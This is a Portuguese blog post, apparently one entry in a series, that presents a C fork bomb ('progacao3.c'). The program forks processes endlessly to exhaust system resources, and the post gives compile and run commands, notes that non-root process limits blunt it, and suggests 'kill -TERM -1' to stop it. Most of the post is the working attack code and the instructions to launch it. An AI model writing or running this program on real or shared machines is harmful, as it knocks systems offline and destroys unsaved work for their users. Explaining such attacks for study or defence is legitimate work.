EXEMPLO 3
O exemplo 3 também enche a memória, porém desta vez com processos.
Esse ataque é difícil de parar, pois não é possível matar os processos individualmente.
Eles são criados mais rápidos do que o usuário é capaz de matar, ou seja o "ps + kill" não funcionaria.
Há uma opção, usar kill -TERM -1.
Esse comando matará qualquer processo que não seja criado pelo root.
Com isso, qualquer dado que não tenha sido gravado será perdido.
Versões mais recentes do Linux estão imunes a esse caso, pois agora os usuário podem ter apenas um determinado número de processos sendo executado, porém essa regra não serve para o root.
/* progacao3.c */
acao ()
{
while (1)
fork();
}
main () /* o main já foi explicado no exemplo 1 */
{
int i;
i=fork();
if (i==0)
acao();
}
Para compilar:
$ gcc progacao3.c -o progacao3
Para executar:
$ ./progacao3
Use: ps -ax para ver a infinidade de processos criados. Mate o processo com: kill -TERM -1.
Porém, não se esqueça que apenas os processos executados como root permanecerão activos.
Sem comentários:
Enviar um comentário